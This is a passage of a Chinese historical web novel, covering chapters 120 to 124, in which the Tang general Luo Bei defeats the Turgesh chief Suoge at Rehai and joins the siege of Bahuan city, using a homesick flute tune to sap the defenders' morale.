他说的轻轻巧巧,洛北却知道这其中有诸般不易,张孝嵩一向不愿依附于朝中势力,只想秉着一根御史的傲骨做些实事,如今要把宗楚客嘴里的肉生生抢过来,也不知道他背后费了多大力气: “原来是朝廷有命在先,我现在算是明白为什么娑葛突然调兵攻击安西四镇了......他是为了自保。” “什么?娑葛已经动了?!”张孝嵩忍不住站了起来。 洛北颔首,带他到中军帐间的沙盘前:“娑葛征发了自己手下能调动的全部军队,分兵向四镇而来,我看他的想法,是想把大唐的势力逐出西域。” “可我和冯中丞在道中分别的时候,并没有注意到娑葛的军队啊?”张孝嵩抢到沙盘边一看,“我们就在这儿分的手,他要沿着赤河西去,而我顺着且末河南下,哦,我南下的时候,还遇到了阿史那忠节的军队。” “阿史那忠节已经离开播仙镇了?”洛北神情一凛,“他要到哪里去?” “按照朝廷的规划,他要先到计舒河口会见冯中丞,而后再拔兵北上。”张孝嵩答道。 洛北拨动几个兵偶,在沙盘上排演一番,不由得眉头紧皱,他转身叫帐外的当值军官:“巴彦!去把高仙芝和哥舒亶一起叫来,越快越好!” “发生什么了?”高仙芝和哥舒亶前后来到军帐。他们都是被匆匆叫来的,高仙芝的身上还沾着稻草,哥舒亶身上一股挥之不去的马味儿。两人凑到沙盘前,看着目前的形势。 “朝廷下了旨,征发阿史那忠节和拔汗那军队,同安西军一起驱逐突骑施,平定西域。”洛北指了指张孝嵩:“这位张御史,就是派到我这里的监军御史。” 事情紧急,三人只是互相点头致意,就把目光又投回了沙盘上:“如今阿史那忠节已经率兵北上,要在计舒河口和御史中丞冯嘉宾会和——” “糟了!”哥舒亶忍不住大喊一声:“照这样推算,娑葛的前军不久就会到达安西——他会和阿史那忠节的军队迎面相撞。” 洛北挫败地叹了口气,他千算万算,还是没想到朝廷心急如此,竟要阿史那忠节率军北上与冯嘉宾会和。原本娑葛要环绕大半个图伦碛才能到达播仙镇,现在,三日之内,他就会和阿史那忠节短兵相接: “哥舒将军说得对。如果我是娑葛,就会埋伏奇兵,等到阿史那忠节出迎冯嘉宾时,一举出兵,将他们都抓住。要解这危局,我们的时间很有限啊......” 他伸手推过一只兵人,向北越过茫茫大漠,直到龟兹城外:“为今之计,只有立刻率军北上,支援阿史那忠节。否则忠节一死,他的部族军队都会落入娑葛之手,娑葛一旦壮大,牛师奖也不会是他的对手。” “不行,我不同意。”高仙芝久久不语,听到洛北说要穿越大漠时,终于忍不住开了口,“洛将军,你这样太冒险了。” “你是说穿越大漠?这倒不是第一次。而且现在丰水期刚过,草木湿润,玉河河道还没有完全被风沙占据。若是再晚数日,朔风一吹,那才是真的危险。” 高仙芝摇了摇头:“我不是说这个。我是说你的决策太危险了。” 哥舒亶一听,差点急了:“高仙芝,你什么意思?!前日说的好好的,今天你翻脸不认人,你们高丽人都是这么出尔反尔的吗?” “这和我是哪里人有什么关系!”高仙芝被他一说,也急了:“不要以为就你哥舒亶能打仗想打仗!我的血也是热的。但你还没看明白吗?朝廷派了周以悌和牛师奖来到西域,就是为了架空郭元振。我们现在不经过请示就直接出兵,虽说是军情紧急,可这也犯了朝廷的大忌。到时候打赢还则罢了,打输了——从上到 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他一步步地逼近洛北:“你以为自己是谁?李卫公?还是霍去病?奔袭百里,穿越大漠,劳师远征,你凭什么觉得自己一定能够打赢?你今年还不到二十五岁,要争军功以后有的是机会,你急什么?” 他字字句句,有如利刃,一把把地向洛北飞来。 洛北立在那里,岿然不动地任他指责,流金一般的眼眸里只映出了高仙芝咄咄逼人的身影,待到高仙芝说完,他微微弯了弯唇角,好像是在笑高仙芝,又好像在笑自己: “高副使,你尽可以指责我。但诏书虽然让周以悌和牛师奖主理安西事务,可没有罢去郭都护的职务,也没有罢去我洛北的职务。今天我还是安西都护府司马兼于阗镇守使,我的决定,恐怕不是你能置喙的。” “当着张御史,我在此立誓,只要你带兵离开于阗,我立刻具折进长安,参你一个滥用职权,拥兵自立的罪名!”高仙芝愤然道。 张孝嵩也忍不住站起身,张口正要说什么,却被洛北挥手制止。 洛北轻轻敲了敲沙盘桌的边,敛容正色:“你的意思是说,我只要不征调于阗守军,你就可以当什么都没看见,是吗?” 高仙芝这才意识到,自己被他绕了进去,脸上神色一变,但口中的这口气却不能退,只得硬硬地顶了上去:“不错!洛北,于阗守军是你的心血,短时间之内,你要从哪里找到这样一支可战之兵?” “那就不劳高副使费心了。”洛北冷冷地回答他,“但巴彦、阿拔思、郭知运这些人是我的亲兵。他们的军籍不在于阗,我要把他们带走,你要阻拦吗?” 高仙芝点了点头:“我不敢阻拦,洛将军请随意。” “好。”洛北一挥衣袖,也不同他们说话,转身出了自己的中军大帐。哥舒亶见势不妙,慌忙追了出去。高仙芝本要和张孝嵩说些什么,张孝嵩也站起身,推说旅途劳顿,需要休息。 热闹的中军大帐一时间风流云散,只剩下高仙芝一个人站在原地,他呆呆地望着帐门的方向,心里说不出什么滋味。 120-130 第121章 “我当然是要亲自把娑葛赶回拔换城去!” 景龙二年三月二十日, 安西大都护郭元振自疏勒城挥师北进,意图收复安西都护府衙署所在的龟兹王城伊逻卢城,他亲率五千骑兵出征, 又征调辅兵和于阗等国兵马随行, 队伍壮阔,绵延数里不绝。 在拔换城修整一冬的娑葛以逸待劳,派精骑三千于道中突袭,杀得郭元振军阵散乱,不得已停下来重整军阵, 休整数日之后再图北上。 金雕展开双翼划过春日晴朗的天空,将这个消息带到了碎叶城外洛北的中军大帐之中。 洛北喂给金雕几块生肉,向帐中众人读了一遍情报, 再将那张薄薄纸片在烛火上烧作一团青烟。 阿拔思笑道:“将军,这再明显不过了,娑葛不想自己腹背受敌, 想以缓兵之计拖住郭都护, 先和我们决战,收复自己的牙帐,免得腹背受敌。哼,他好大的盘算!决不能让他如愿。” 巴彦也点了点头:“我赞成阿拔思的说法!我们就固守碎叶城, 逼娑葛和我们军阵相对,碎叶城城高池深, 看他能撑到几时!” 张孝嵩沉思片刻,也道:“这倒也是个路子,洛将军, 我们可以拖住娑葛主力,让郭都护和阿史那(献)都护先收复沦陷的安西诸镇, 以安朝廷之心。” 他这话中暗藏玄机,哥舒亶已经听了出来:“洛将军,张御史的话也有几分道理,大不了,等郭都护和阿史那(献)都护收复四镇,我们再把娑葛逐出碎叶川,就在伊丽河谷,形成一个三面包夹之势,会同他们一道歼灭娑葛主力!” 琪琪格不明所以:“哥舒将军,何必这么费事,咱们现在有一万八千多人,人数已与娑葛相当,只要指挥得当,一举荡平娑葛不是难事。您怎么突然畏畏缩缩的了?” 哥舒亶苦笑一下,实在不知道要怎么和这位自由惯了的胡禄屋部首领解释什么是“帝王心术”,什么是“功高震主”。他缄口不言,只把目光投向坐在那里的洛北。 洛北心中已有了决定,他站起身:“我赞成你们的想法。只是如今娑葛大举而来,碎叶城和弓月城一带,多的是见风使舵的墙头草。一旦两军对垒,还不知道他们会站在哪边。在碎叶城一带打这一仗,太不保险。” 张孝嵩好奇问:“那将军打算选在哪里?” “热海。” 正如洛北所料,靠着袭击郭元振拿到的时间差,娑葛将各将三千兵马留在伊逻卢城和拔换城,自己亲率手下万余骑兵翻越勃达岭,准备北上收复碎叶城外的突骑施牙帐。 此时正是四月初,西域冰雪融化,万物复苏。冬日里干涸停滞的河水再度奔流起来,自天山奔涌而下。娑葛带兵穿山越岭,一路来到了热海边。 热海四周雪山环绕,冰雪覆盖着怪石与林木,热海的湖水却终年不冻,映照着蓝天渺然无边。娑葛骑马立于热海之滨,看着自己麾下众将得意忘形地在湖水中沐浴嬉闹,脸上也浮现出笑容,他忍不住大声呼喊: “将士们……兄弟们……翻过前面那座山,就可以到家了!” 众将士一个个地停下欢庆的动作和脚步,等这位首领说出下一句话。 “我们离开牙帐太久了,我们沉迷在西域的好酒和美人中太久了,我们离开家人和牧场太久了。我们让狡诈的唐人占据了我们的营帐,得到了我们的土地,俘虏了我们的妻子儿女。” “可是勇士们,这样的景象绝不会长久,这样的情况绝不会继续。我,突骑施·娑葛在此向这终年不化的大湖立誓,我一定带着突骑施人取得胜利,而后用唐军大将的人头祭祀祖先!” 他话语一毕,突骑施众将士欢呼雀跃,高声请战。 娑葛意得志满地望着这一切,他从来不觉得那个年轻使者洛北会是什么名将。看看他击败的众多敌人吧,阿史那匍俱年轻骄纵,苏禄大意轻敌,遮弩和康孝哲是一对蠢货。 如今他这位一出手就打下了半个西域的突骑施首领亲自与洛北对阵,一定能把洛北和他手下的唐军碾碎。 他的思绪还未结束,一支鸣镝自他耳边飞了过去,不远处的湖畔密林间忽而升起数支唐旗,那位有着金色眼眸的年轻主帅洛北此刻正在缓缓放下手的弓箭,抬手示意掌旗官摇动大旗,发出“进攻”的命令。 何等傲然,何等威风。 娑葛心中的不屑更浓了,夜袭、奇袭,一贯是洛北最常用的手段,可要用这小小的手段就动摇他的军心——没那么容易。 “突骑施的勇士们!杀啊!”娑葛也发出命令。原本还在嬉闹欢呼的突骑施将士们很快地拧成一股绳,拦住了唐军锐利的兵锋。 巴彦没能在多逻斯水和阿史那匍俱大战一场,如今好容易得了这个机会,一点不肯放过。只见他手持一把长矛,一骑当先,杀入突骑施阵中,身后是唐军将士蜂拥而来,再度将突骑施的军阵撕开了个口子。 娑葛见状,忙命左翼军队回防,勉强堵住这个缺口。 巴彦和追随他冲杀而来的那些将士就这样被陷在阵中,他们回望了一眼身后奋战不止的唐军,与高处的洛北,没有反身突围,反倒向着娑葛中军冲去。 “该死的唐人,他们疯了吗?!”娑葛用突厥语骂了一句,又命前军收缩,拱卫自己所在的中军。 在这一来一回之间,厮杀的战场似乎变为了一场棋局,洛北与娑葛这两位主将正是棋手: 你破我一军,我就弃之不用,反穿你侧翼,我破你一军,你也会再调动防御…… 雪山掩映的湖光山色已被血色淹没,战场上都是两军的尸首。突骑施军队再扛不住唐军如潮水一般的进攻,正步步后退。 娑葛终于无法稳坐钓鱼台,也催马带着自己的亲兵入了阵中。洛北见状,即命自己身边那千余北庭骑兵一道加入了战场。 两位主将很快在阵中相遇,娑葛手持一把长长的狼牙棒,当头向洛北挥来。 洛北横槊与他相接,兵刃撞击,发出一声巨响。洛北手中的槟铁长槊弯了一弯,架住了娑葛手中的狼牙棒。 “接我一招,你还算有些本事!”娑葛哈哈一笑,拉开一点距离,又反手向洛北砸来。 洛北不打算和他以力碰力,驱马侧身而躲,手中长槊反挑上挥,正中娑葛胸甲,这猛然的撞击让娑葛胸口一痛,他怒极反笑,策马回身,要再同洛北对战。 洛北勉强稳住身形,他之前受了伤,此刻还未完全复原,体力肯定不如这位突骑施的首领,必须智取。他深吸一口气,调整马匹的位置,准备迎接娑葛的下一次攻击。 娑葛的狼牙棒再次挥舞而来,洛北这次干脆以槊头勾住尖刺,微微一用力,便将狼牙棒的力道引向一边。 娑葛“哎”了一声,差点被自己的兵器带下马去,他稳住身形,正要挥棒横扫,右肩已被另外一人的宝剑刺中,血流如注,痛得他放下了手中的狼牙棒。 狼牙棒坠地,发出一声脆响。 张孝嵩收回宝剑,望着洛北,眼神中似有责怪之意:“将军,不是说好了这次不以身犯险么?” 娑葛见洛北来了帮手,忙拍马狂奔,一路奔逃一路命手下将士鸣金收兵。突骑施军队收整,向来时的山道退去。 山道入口,已被朱邪烈和他的部族子弟占满,突骑施军队不到近前,便飞来一阵箭雨,冲在最前的突骑施将士纷纷中箭,他们有的当场毙命,有的重伤坠马,还有的一不小心摔下了山坡……突骑施军阵一时堵塞不前。 前有堵截,后有追兵。突骑施的将士们也顾不上军令、将军,兀自驱动马儿开始逃命。朱邪烈不甘示弱,率领部族子弟与他们厮杀起来。 “这是从哪里来的军队!怎么打了我个措手不及?!”娑葛气急败坏,狠狠抽了副官一鞭子,“还愣着干嘛,命后队压上,突过这重围去啊!不然咱们可都要变成洛北的刀下鬼了!” 副官被娑葛一鞭子抽得生疼,却不敢有丝毫的怨言,连忙领命而去。突骑施军队的后队在副官的指挥下,开始加速向前推进,试图突破朱邪烈的封锁。 洛北见状,立刻抬手示意掌旗官:“叫朱邪烈的部队不要和他们正面对抗,放他们一道口子过去!” 唐旗再度打出旗语,朱邪烈见状,忙命自家的部族子弟们边打边退,让开数条道路放娑葛和部下军队入天山。 眼看着娑葛的帅旗和亲兵入了天山,洛北即命朱邪烈关门打狗,通道再度封闭,把没有主将的突骑施军队丢在了热海之滨。 “哥舒亶!”洛北叫过哥舒亶,“你和琪琪格、莫潘、朱邪烈在此地收拾掉这些人。该招抚招抚,该杀人杀人。” 哥舒亶低声应了,又有些错愕地望着洛北:“洛将军,你打算做什么?” “我?”洛北轻轻一笑,他那双琥珀色的眼眸在高原炽烈的阳光下熠熠生辉,分外耀眼,“我当然是要亲自把娑葛赶回拔换城去!巴彦、阿拔思!带着你们的兵马和我走!” 哥舒亶错愕地望着他,这时候他才发现洛北此一战的真实用意——他竟然想借此战不断消耗掉娑葛的亲军,这背后的目的简直不言而喻:“你打算废掉乌质勒这支汗系?!” 第122章 “我好歹也是一部首领,要杀就杀,哪来的这么多废话!” 见哥舒亶一言拆穿自己的目的, 洛北也不掩饰,轻轻一笑,显露出昔日乌特特勤的意气风发、张扬肆意来:“怎么?难道不行?” 哥舒亶张了张口, 竟寻不出一个字句来驳他。 可是……突骑施自二十余年前崛起成为草原霸主, 那娑葛兵发四镇,逼退大唐兵马时何其风光,用如日中天来形容也不为过。 如今不过半年时间,数战之间,阿史那乌特便荡平突骑施, 让那些不可一世的、对他的父亲袖手旁观的贵胄们在他马前俯首称臣,甚至还要废掉乌质勒这整支汗系,剥夺他们作为突骑施首领的资格。 但为什么不行呢?说历史, 突骑施部本就是兴昔亡可汗家族的部属,乌质勒僭越封汗,本就是罪过。 说现在, 洛北是大唐的安西副都护, 处置西域部族也是他的职责。 哥舒亶望着洛北那张英俊的面容,终于无奈地叹了口气:“谨遵军令。” 后世的史学家们评价这场战役时,曾用冯·克劳塞维茨在《战争论》中的名言来作为开头“军事是政治的延续,而军事又反作用于政治。” 他们想要强调, 这一仗的成功,改变的不仅是洛北或突骑施的命运, 更多的是,再次建立了大唐在西域号令无所不从的霸主地位。自此之后,大唐在西域建立了更完备的行政管理制度和体系, 为未来向西拓土、击败大食打下了基础。 但彼时在征战之中的洛北对此一无所知。 他率领众军在百草初生,怪石嶙峋的山间急速穿行。周围到处都是冰雪初融形成的溪流, 潺潺的流水倒映出白雪覆盖的群山和唐军的赤色军旗。 整整五日,他同他麾下的将士一路疾驰,紧紧追在娑葛的军队身后。不卸甲、不扎营、一路仅以干粮、肉干和冷水充饥。 娑葛不堪其扰,不断命军队回身来与他们交战。洛北顶在最前,持弓应战,一战之后,便在山间丢下数百具敌人尸首。 数日之间,大小数十战过后,娑葛身边的兵马越来越少,但他回头望向身后时,唐军还如影随形地缀在那里,他不敢停歇,不能停歇,只能亡命狂奔。 景龙二年四月十五,娑葛的先头部队已能看到拔换城的城墙和塔楼。他命先头部队派出轻骑去通知消息,并找人接应。 多日奔驰,突骑施的士兵们各个累得苦不堪言。娑葛把部队停留在河口位置,命士兵就地驻扎,开始埋锅造饭。 就在一口口小锅飘出香气的时候,洛北率着军队再度赶到了。 两军将士都是苦战已久,身心疲惫,拼得无非就是一股士气。洛北深知这一点,他催马在前,与前锋分队并肩而行,远远望见娑葛狼纛所在,已弯弓搭箭。 他还没有放出那支羽箭。娑葛已发现了他们的踪迹,急命将士擂鼓集合。帅旗随即向后迁移,移出了洛北的弓箭射程之外。 洛北稍有愤愤地放下弓箭,反手抽出马槊握在手中,向后呼喊道:“众将士,谁同我去取敌将首级!“ 巴彦在后高声应道:“将军,我和你一起去!”他嫌那湖边阵地狭窄,骏马不便通行,干脆跳下马鞍,以步代马,两人合力向敌阵中冲去。 洛北和巴彦都是武艺高强,两人冲入阵中如入无人之境,不消片刻,已杀到娑葛的中军之前。 娑葛无奈,只得骑马上阵,再与洛北对阵。同样是一人持狼牙棒,一人持马槊。两人交错之时,便如两道闪电交汇。棒舞槊横,马蹄激起层层青白浪花,逼得周围之人不敢前进。 两人从马上打到马下,一直不分胜负。娑葛多日不停,哪敢继续和洛北缠斗,他暗自咬牙发狠,怒喝一声,当头一棒向洛北砸来。 洛北下意识地侧身躲避,手中挥出马槊相挡,只听得“咔擦”一声,马槊被两人力道一撞,竟是生生从中间折段。 洛北见势不妙,忙在冰凉的河水中向后空翻,躲过娑葛迎着面门而来的一棒。而后他反手一抽,一声清越刀鸣,抽出了腰间的唐刀。 唐刀比长槊更短,失了力道却多了几分灵巧。洛北又身法极佳,腾挪翻转之间,已让娑葛的每一棒都打在了棉花上。 娑葛一棒打在河中石头之上,石头碎作四块。洛北却已经闪身站在半丈之外。他要提棒再向前扑去,正要起身,手上却脱了力,一个踉跄,差点摔倒在河床上。 洛北已用刀尖指着他的咽喉:“向我投降,我可以饶你不死。” “哼……休想!”娑葛勉力用狼牙棒撑起自己,再度向洛北兜头砸去,“你们唐家,未免把我们这些人想得太贱了!我好歹也是一部首领,要杀就杀,哪来的这么多废话!” 洛北侧身一躲,避开那一棒。 他从娑葛跌跌撞撞的脚步看出,如今这位突骑施首领已是强弩之末了。娑葛的脚步拖在地上,身形也不再灵巧,只靠一身蛮力在与他厮杀。 他并不恼怒于娑葛的倔强,只是觑了个空、反手挥出一道刀花,划伤了娑葛的左臂。 娑葛顿觉吃痛,倒退一步,差点跌坐在地。他看着洛北步步逼近,正要心生绝望之际,远处的山路下又奔来数百骑。 是他拔换城的接应兵马到了。 他的身体好像又充满了无穷力量,他再度与洛北交锋几下,而后反手一棒,逼洛北向外跳开半个身形,自己则乘此机会重新上马,一路打马向南撤去。 突骑施的士兵们见主帅向援兵奔去,自己也来了劲儿,一时之间军阵散乱,人心不齐,只是分崩离析。 洛北重新坐上马背,再度取出弓箭。这一次他瞄准的是敌军援兵之中的那个将军。 弓弦微响动,再度发出一支羽箭。这羽箭如划破夜空的闪电,在那敌军将军还在同人说话时便正中他的眉心。 那将军似乎有些不敢置信,他瞪大着双眼,从马上摔倒下去。洛北趁机高声呼喊:“突骑施的将士们,你们的援兵是没有用的空架子,放下武器,我饶你们不死!” 随娑葛一路奔逃到此的突骑施士兵之中,真有不少人丢下兵器向洛北投降。而那些新入战阵的士兵,竟也有两个丢下兵刃,要投到唐军这边。 娑葛怒不可遏,急命手下斩了那两人,又命收兵撤退。 军队回转,向着山下的拔换城头也不回地跑去。 “不要追了。”洛北叫住几个要去追击的士兵,“拔换城三面环山,一面临湖,是个难攻易守的奇险之地。让他们去,你们是追不上他们的。” 那为首的士兵兀自不服气:“将军,您怎么知道我们就追不上他们呢?刚刚您也看到了,突骑施人的军队都是些不堪一击的对手。” “你觉得他们不堪一击,是因为他们是劳师远征而来,被我们打了个措手不及。现在对方兵强马壮,咱们的人也疲了,马也乏了,我们不会是他们的对手的。” “可是将军!我们不是还有您吗?将士们都说,您是安西的‘不败军神’,定能带我们赢的。“ 洛北真不知这称号从何而来,他哈哈一笑:“才打了几场仗啊?就要给我一顶这么大的帽子,我担待不起。好了,我意已决,不要再说了。” 他转身对传令官道: “传令全军,就地扎营休息。” 数顶帐篷在山间驻扎了起来,阿拔思自告奋勇地去盯午饭的事宜:“正好突骑施把这些锅和火堆都留了下来,如今咱们捡了个现成的便宜。等着,一会儿热腾腾的肉汤就来了。” 巴彦哈哈大笑:“要做饭,得说好。要是口感低于老郭上次做的那些,我可不吃的!” “那你就饿死算了。”阿拔思嘻嘻哈哈地和他开着玩笑,自己转去刚刚突骑施的营地督促士兵们烧火。 朱邪烈看着他们,不由得也笑起来:“两位将军,论做饭我可是行家里的行家,这样的事情,少了我怎么行呢?“ 洛北多日紧绷的精神,终于松弛下来。夜晚在中军帐里,他又和巴彦、阿拔思、朱邪烈三人看起了地图。 总的来说,一切都按照他的设想在向前进行。娑葛带着残兵溃兵入了拔换城,突骑施的有生力量或降或死,娑葛能在拔换城呆多久,还真是个问题。 接下来按照规划,洛北应当与阿史那献及郭元振合兵一处,再度合围拔换城。但洛北入山多日,对郭元振和阿史那献那边的情况一无所知。 “希望伯克和郭都护已经收复了伊逻卢城。”洛北看了看地图,“这样,我们就能安心地打这一仗了。不过,娑葛狡诈,郭都护虽以智谋著称,但称不上用兵如神,这一仗要怎么打,还是要看伯克的发挥。” 与此同时的伊逻卢城外,长达月余的围城已经进行到了尾声。 整个冬日,西域都在战争之中度过,一些必要的贸易并没有完成。仗打到这会儿,伊逻卢城中已是弹尽粮绝,阿史那献站在高处,望着城中的一片哀鸿遍野,拿着手中娑葛副将的请罪书信,忽而终于下定决心: “明日攻城!” 第123章 “洛将军当年要是这样来到我身边,我说什么也不敢信你是个普通的少年郎中。” 一封战报摆在了郭元振中军大帐的乌木桌上。 热海一战, 洛北和哥舒亶联军击败娑葛,斩获三千余人,逼娑葛南逃拔换城。洛北率军连追五日五夜, 与娑葛交战数十次, 娑葛军队死伤无算。还是靠拔换城守军前来接应,才逃过全军覆没的命运。 “这个洛北啊。他怎么会放娑葛回拔换城呢?他难道不知道拔换城易守难攻,这一举是纵虎归山,必有后患吗?” 再度以御史大夫的身份持节安抚西域的解琬看着战报,忧心忡忡: “兵法中说, 上兵伐谋,其次伐交,其次伐兵, 其下攻城。倘若真的要到攻城的地步,恐怕此战还会拖下去,那个时候, 朝廷的态度便又不可捉摸了。” 郭元振微微皱眉:“解大夫, 我听说武三思已经引咎辞去相位,宗楚客贬谪播州,崔湜也罢官去职,现在朝廷又把你派来了西域, 可见对我和洛北的支持。难道此刻还有人敢冒天下之大不韪?” “现在当然没有。武三思的辞职只是他以退为进的手段,如今他没了职务, 越发的用心奉承上意。陛下出宫宴游,十次里倒有五六次是去他的府邸。”解琬愁眉紧锁:“要是这样拖下去,陛下改变心意不说, 耗费的钱财人力,又会引起朝野议论。” “我不这么看。” 郭元振摇了摇头, 伸手在桌上翻出过往的几封战报来,递给解琬: “自去年八月以来,洛北连续作战,连破苏禄、遮弩,算是剪除了娑葛的羽翼。跟随他辗转在伊逻卢城和拔换城之间的,都是他的嫡系。”“可是,自开春以来,这些人又是热海鏖战,又是流亡千里,早就流失大半、疲惫不堪了,如今娑葛又弃众而逃便是他的部族嫡系,还能对他信任如初吗?拔换城里的守军,又会怎么想?” 解琬想了想,拊掌一笑:“不错,上兵伐谋,便是如此。我们以大军围城,对他们造成压力,这样,一旦他们承受不了,突骑施就会从内部分裂,娑葛最终会不战而溃。” 他话音未落,帐外传来传令兵声音:“大将军!新战报!” “拿来我看看。”郭元振从传令兵手中解开一只银筒,拆开一看,是洛北寄来的一封战报。 娑葛败走拔换城,刚回城中,便聚拢守军。趁着洛北人疲马乏之际,出两千兵马在山道上伏击他们。 “这个娑葛还真有几分用兵如神。在如此之短的时间内,竟能整顿士气,再度出兵伏击。”郭元振慨叹道:“不枉大唐的数位将军折在他的手上。” 但洛北已经预料到了这一点。他提前命令阿拔思率兵佯败,把突骑施的伏击兵马引入了自己的包围圈,一战之下,突骑施人仰马翻,丢下数百具尸首,仓皇而逃。 洛北乘胜追击,一举干掉了这两千人马,而后命部队全速下山——没了拔换城守军的骚扰,他们一日之后,便会到达郭元振的驻地。 “好久不见这小子了。”解琬道,“上次见他还是在突骑施牙帐,当时他力排众议,在牙帐中解了迷局,帮我们与突骑施达成了盟约。现在我们再见面,竟然是为了与突骑施主力决战。人的命运真是不可捉摸啊。” 郭元振轻轻一笑:“我记得,那个时候,我还担心过他有意叛唐自立。现在看来,他是绝不会这样做的。” “这是怎么说?”解琬好奇问。 “解大夫,你可曾看过此战的账本?”郭元振道:“一开始,朝廷本来没有征调他这位于阗镇守使出兵。所以也就没有发给他军饷。现在,朝廷封他为安西副都护,可碎叶城路遥难行,朝廷的军饷只是空头支票。从来没有一分一厘到过他的手上。” 解琬听着简直有些毛骨悚然了:“此话当真?!他哪来的钱打得仗?!” “当真,不仅如此,他只从于阗带走了自愿跟随的三百军士,剩下的兵马,也都不在朝廷的规划之下。” 郭元振闭上眼: “如果他想要叛唐自立,在多逻斯水击败阿史那匍俱的时候,就可以重举乌特特勤的大旗,在西突厥的圣山金山上祭拜先祖,自立为可汗。而我们这些人全都不是他的对手!” 解琬喃喃道:“我算是知道默啜为什么非要杀他不可了。” “这一仗打完,我是不可能再留在西域了。”郭元振叹了口气,“朝廷那些人不会相信他这样无所不能,只会把帽子往我头上扣。解大夫,若你真的为朝廷着想,还请在此战过后,多为他请些赏赐。” 解琬苦笑道:“你和他相处了这么久,觉得他是个贪财的人么?” “我当然知道。只是……金银珠宝、醇酒美人、豪宅华服、官品爵位,若是能用这些俗物安定此人之心,对大唐在西域会是个宝贵的财富。” 解琬声音沉重:“我知道了。” 不过第三日,他们与洛北会面时,又是另一番人人感动落泪的景象。 这五日来,风餐露宿,征战不断,把洛北磨得是棱角分明,刚毅冷峻,一照面,那双流金般的琥珀色眼眸望过来——便如一把淬了火的锐利神兵,显出万夫莫开,锐不可当的气势来。 解琬玩笑道:“洛将军当年要是这样来到我身边,我说什么也不敢信你是个普通的少年郎中。” 洛北轻轻一笑:“解大夫玩笑了。” “日前我还在和解大夫讨论,你为什么要纵虎归山。如今见了面,你可要当面和解大夫解释清楚。”郭元振与洛北更亲近,说话便更无顾忌,“不然惹恼了他,一本奏到朝廷,你我都吃不了兜着走。” 解琬道:“不忙,我首先想知道的是,张孝嵩去了哪里?要不是他的奏疏,朝廷还不知道你立下了这样的大功。” “我请孝嵩帮忙做一件秘密的差事去了。”洛北笑道,“这差事也同拔换城的战事有关。不过细节如何,如今还不能对两位言明,请两位允许我卖个关子——七日之内,拔换城必破!” “好大的口气啊。”郭元振哈哈大笑,“不过这话从你洛将军口中说出来,似乎也不是不可能。那我,拭目以待、” 拔换城位于天山南北的交界处,三面环山,城堡坚固,山下有草场,城堡中有粮仓——之前娑葛的大军便是在此地盘桓了一冬。 郭元振已命唐军将拔换城团团围住,又派出游骑四处抄检娑葛的粮道和小路,把娑葛的军队困在城中,另外还命人调来攻城器具,命军中工匠多加修缮。 比起郭元振军中的一片忙碌,洛北和他手下的兵马就悠闲了许多。似乎是之前的奔袭把他们累坏了,大部分时候洛北都把这些兵马化整为零,编成数支小队在城墙附近游曳。 他们所要做的唯一一件事情,就是把绑在箭上的一封封突厥文字的劝降书射进城中。城中守军畏惧城外唐军势重,也不敢出来迎战,只得报以冷箭回应。 “你到底想干什么?”到了第四日,解琬率先沉不住气了,他找到正在营帐中休息的洛北,语气颇有些急躁:“你说要破拔换城,可现在你除了消耗城中的箭矢之外,什么都没做。” 洛北正在削一支不知何处寻来的木管,帐中的地上堆了些木屑,显得有些狼狈,但他面上依旧是一片云淡风轻:“解大夫何必着急?” 他伸出手,那只自幼跟随他的金雕盘旋而起,带起一阵烟尘,落在了他的手臂上:“孝嵩已经给了我消息,他的兵马今夜就能到。” “你麾下多是安西诸部族的骑兵,什么样的兵马走得这么慢?”解琬问。 洛北听出他的语气有责怪之意,只得敛容正色道:“解大夫放心,孝嵩是我的朋友,我是不会害他的。” “你最好是。”解琬不愿和他多纠缠,便甩下他回郭元振的中军大帐中了。洛北也不在意,他把金雕放出帐外,任它去蓝天中撒野,自己又坐回矮榻上,做起了没做完的木工活。 山中气候多变,那日的傍晚,忽而起风了。天色一暗,盐粒般的雪花就从天空中飘飘洒洒地落下来。洛北穿着那身他从未穿过的月白锦袍,登上了附近的一座小山。 夜色逐渐深了,一片静谧的灰白之中,连将士们巡营报名的呼喊都听不见。洛北动了动手指,将那支赶工而成的木笛横在唇边,低低地吹奏起来。 在群山与流水之间,木笛高亢的声音被传得很远。很快便传到了拔换城墙头戍守的突骑施士兵耳中。 “这是家乡的小调!以前我阿妈常唱着这个哄我睡觉。”有人惊喜地拽了拽身边人的衣袖,脸上是笑容满面,双目却不禁流下泪水:“我已经好久没回去了,我想回家。” “我来打仗的时候,我的妻子才到我的家里来不久。”有人低头望着自己的手心,那有一只小小的玉环,征战数月,先胜后败,这是他劫掠而来的战利品中,为数不多还能留在身边的:“我本来要送给她,但现在不知道什么时候才能见到她。” 一片低迷的思乡之情很快在拔换城中弥漫,娑葛气得怒发冲冠,但他不再像年轻的狮子了,更像是受了伤的狮王。 他对着自己的副官拍桌子:“你去,去告诉他们,牙帐现在在唐人的手里!他们的父母家人,肯定都死了!叫他们打起精神来,把唐人杀光,为自己的亲人报仇!” 副官面色一滞:“真的吗,可汗,唐人真的会把我们的家人都杀光吗?” 娑葛的目光横了过去:“你不相信?你忘了,康孝哲一家是怎么死的?你忘了碎叶城的子民为了反抗他,甚至爆发了谋杀他的暴乱?” “不,不,我只是”副官低头,走出帐门,眼泪已经不由自主地流了下来。他想说话,想为家人报仇,但在这哀伤悲切的音调中,竟无法燃起复仇的熊熊之火。 第124章 “今天我不杀你,是因为你的父亲曾跪在地上,求我饶你一命,但你若再对大唐,对阿史那将军不敬,休怪我不给他这个情面。” “将军, 你看谁来了。” 天色微亮的时候,阿拔思掀开营帐,把浑身是雪的张孝嵩迎进了洛北的帐中。 洛北本来歪在矮榻上看一本写满大食语的书, 见到他, 脸上难得露出笑意:“孝嵩一路辛苦。” 张孝嵩一面笑,一面掸去身上的雪花:“辛苦谈不上,还好老天保佑,一路风和日丽,直到这边才降下这场瑞雪。借着这场风雪, 我们从拔换城边上绕了下来,没引起娑葛的注意。” “你要再不来,解大夫就要和我翻脸了。”洛北站起身, 拿起自己的外袍:“走,咱们一同去见一见两位上官。” 张孝嵩挡了他一挡:“不急,有两个人, 你一定要先见见。” “什么人?” “莫贺达干和苏禄。” 听到这两位战俘的名字, 洛北不由得微微一怔:“我托你在牙帐附近找些牧民帮忙运送粮草。和他们有什么关系?” “将军,你当人人都有你的影响力,打起旗帜就能让这些牧民乖乖地和你走吗?” 张孝嵩忍俊不禁: “这些人呐,先是不信任我们, 以为我们要抓他们来前线送死。后来听说能看到亲人,又一窝蜂地来报名。白发苍苍的老奶奶也要来。你说, 这不是胡闹吗?” 